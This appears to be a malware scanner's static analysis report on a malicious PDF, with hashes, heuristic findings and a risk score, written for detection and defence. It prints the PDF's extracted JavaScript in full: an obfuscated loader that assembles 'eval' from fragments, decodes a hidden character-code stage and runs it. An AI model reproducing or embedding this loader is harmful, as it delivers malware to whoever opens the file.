Malicious PDF — malware analysis report

Static analysis result for SHA-256 d2d15b668ed620c4…

MALICIOUS

PDF

45.3 KB First seen: 2026-05-09
MD5: c277418ccef780623e4ba0209ddb2e99 SHA-1: db2eed120e17a3dbbc86982a6ff9336c4628eabd SHA-256: d2d15b668ed620c4c993be656d34fa59b53d0c75aed602c6c1df69602d794f29
86 Risk Score

Malware Insights

The PDF contains embedded JavaScript, flagged by multiple heuristics and a high-confidence ML classifier. The JavaScript is likely intended to perform malicious actions, such as downloading a second-stage payload or exploiting a vulnerability, although the specific actions could not be fully determined due to obfuscation. The 'test' in the document body is likely a placeholder and does not indicate the true malicious intent.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xB28E 433 bytes
SHA-256: 4a8a538f3e1ba7b75c449e1bc9db31ffa5ba1ece0ef6c1b5bed4709bbc5b2bc4
Preview script
First 1,000 lines of the extracted script
qwe = ('nhsthn','ntrht').substr;
var g = qwe();
t='le';
a=["e","a","n","b","w",'v'];
e=g[a[0]+a[5]+a[1]+t[0]];
qxa='';
rzngd=('qwrwqr','tit');
e('rcn=t'+('qwtwqt','hisundefined').replace(typeof qwe.dagb,'.')+'tit'+t);
nts=e('String.fr'+rcn.substr(0,10));
nvx = e(rcn.substr(10)['replace'](/u/g,','));
e('k=nvx.length');
for (i = 0; i < k; i+=2) {
	ffp = nvx[i+1] + ('erybjkerl',nvx[i]);
	qxa += nts(ffp);
}
e(qxa);

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